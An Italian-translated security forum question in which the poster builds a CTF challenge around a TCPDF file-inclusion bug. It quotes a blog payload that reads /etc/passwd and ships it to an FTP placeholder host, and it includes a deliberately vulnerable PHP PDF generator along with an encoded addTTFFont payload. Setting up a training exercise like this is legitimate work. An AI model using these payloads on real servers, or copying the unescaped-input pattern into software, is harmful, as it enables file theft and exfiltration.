PoC per vulnerabilità TCPDF

0

Sto facendo alcune sfide come parte di un CTF interno che stiamo ospitando. Come parte delle sfide, una delle cose che stavo pianificando di dare era File Inclusion usando una vulnerabilità in una certa versione di TCPDF.

Stavo cercando di seguire il blog qui per avere una comprensione del bug stesso: Inclusione di file tramite TCPDF rotto

Comprendo la vulnerabilità in poche parole, ovvero che TCPDF, per impostazione predefinita, ha accesso a un tag speciale <tcpdf /> che consente l'esecuzione dei metodi TCPDF disponibili insieme ai parametri.

Quindi ad esempio se:

<tcpdf method="some_method" params="abcd"/>

quanto sopra è passato a writeHTML() TCPDF chiamerebbe some_method() con i parametri abcd .

E per poter leggere i file, verrà utilizzato uno specifico metodo TCPDF chiamato addTTFFont che prende come parametri i seguenti:

  1. $ fontfile: il file da prelevare dal server. Ogni file leggibile può essere selezionato.
  2. $ fonttype - Deve essere impostato su TrueType affinché l'attacco funzioni.
  3. $ outpath - Posizione per l'output per il file.

Inserendo un ftp-location, come terzo parametro, il file verrà caricato in remoto.

Per favore correggimi se la mia comprensione non è corretta qui.

Ora, ecco cosa non capisco dal blog sopra. La riga che dice:

By generating a tcpdf-element using the following code: $params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass@host/')));

Cosa sta cercando di spiegare l'autore nella riga sopra?

Anche per poter riprodurre questa vulnerabilità, ecco cosa ho provato: Ha ospitato un'applicazione molto semplice (e ovviamente vulnerabile in molti modi) sul mio server Aapache locale e ha utilizzato TCPDF V 6.1.1 in quanto questa era la versione immediatamente precedente alla 6.2.0 in cui il bug era stato corretto.

L'app consente semplicemente agli utenti di registrarsi e accedere. All'accesso l'utente ottiene una pagina come efacendoclicsullinkinrosso,vienegeneratounfilePDFperl'utenteconilsuonomecome:

dovegogoerailnomeutente.

Orasottoc'èilcodicechegenerailPDF(gen_pdf.php):

<?phpsession_start();require_once('tcpdf_include.php');if(isset($_SESSION['username'])){//ExtendtheTCPDFclasstocreatecustomHeaderandFooterclassMYPDFextendsTCPDF{//PageheaderpublicfunctionHeader(){//Logo$image_file=K_PATH_IMAGES.'logo_example.jpg';$this->Image($image_file,10,10,15,'','JPG','','T',false,300,'',false,false,0,false,false,false);//Setfont$this->SetFont('helvetica','B',20);//Titletorightallignment$this->Cell(0,15,'<<TheMachinev/sSamaritan>>',1,false,'',0,'',0,false,'T','M');}}$pdf=newMYPDF(PDF_PAGE_ORIENTATION,PDF_UNIT,PDF_PAGE_FORMAT,true,'UTF-8',false);$pdf->SetCreator(PDF_CREATOR);$pdf->SetAuthor('JohnReese');$pdf->SetTitle('TheMachineMustLive');$pdf->SetSubject('Thefutureisinevitable.');$pdf->SetKeywords('TheMachine,Samaritan,Mr.Reese');//setdefaultheaderdata$pdf->SetHeaderData(PDF_HEADER_LOGO,PDF_HEADER_LOGO_WIDTH,PDF_HEADER_TITLE.'001',PDF_HEADER_STRING,array(0,64,255),array(0,64,128));$pdf->setFooterData(array(0,64,0),array(0,64,128));//setheaderandfooterfonts$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA,'',PDF_FONT_SIZE_DATA));//setdefaultmonospacedfont$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);//setmargins$pdf->SetMargins(PDF_MARGIN_LEFT,PDF_MARGIN_TOP,PDF_MARGIN_RIGHT);$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);//setautopagebreaks$pdf->SetAutoPageBreak(TRUE,PDF_MARGIN_BOTTOM);//setimagescalefactor$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);//setsomelanguage-dependentstrings(optional)if(@file_exists(dirname(__FILE__).'/lang/eng.php')){require_once(dirname(__FILE__).'/lang/eng.php');$pdf->setLanguageArray($l);}//---------------------------------------------------------//setdefaultfontsubsettingmode$pdf->setFontSubsetting(true);//Setfont//dejavusansisaUTF-8Unicodefont,ifyouonlyneedto//printstandardASCIIchars,youcanusecorefontslike//helveticaortimestoreducefilesize.$pdf->SetFont('dejavusans','',14,'',true);//settextshadoweffect$pdf->setTextShadow(array('enabled'=>true,'depth_w'=>0.2,'depth_h'=>0.2,'color'=>array(196,196,196),'opacity'=>1,'blend_mode'=>'Normal'));//Setsomecontenttoprint$html=<<<EOD<div><h1>WelcometoTomorrow!!<spanstyle="color:black;"></span></h1>
<i>This Machine is growing weaker and we need to keep it safe.</i>
<p>This is the world of the <i>Samaritan</i> and it needs to be protected <i>Mr. Rees and Root will be there for your help</i>.</p>
<p>All the best for your travel ... </p>
</div>
EOD;

    $pdf->AddPage('P');
    $html = $html."<div><h2>".$_SESSION['username']."</h2></div>";
    $pdf->writeHTML($html);
    ob_end_clean();
    $pdf->Output('ticket_to_the_future.pdf', 'I');
}
?>

Ho modificato solo questa parte del codice precedente:

$pdf->AddPage('P');
$html = $html."<div><h2>".$_SESSION['username']."</h2></div>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');

a questo:

$pdf->AddPage('P');
$html = "<tcpdf method=\"addTTFFont\" params=\"%5B%22CHANGELOG.TXT%22%2C%22TrueType%22%2C%22%22%2C255%2C%22%5C%2Ftmp%5C%2Ftcpdf_bug.txt%22%5D\"/>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');

che è hardcoded del payload di exploit (solo per verificare se le cose funzionano), dove CHANGELOG.TXT è un file già presente nella stessa directory di gen_pdf.php

Output Nessun file tcpdf_bug.txt sembra essere generato in \ tmp.

Che cosa sto facendo male qui? Per favore aiutami a creare questo PoC.

    
posta qre0ct 27.02.2018 - 05:37
fonte

0 risposte

Leggi altre domande sui tag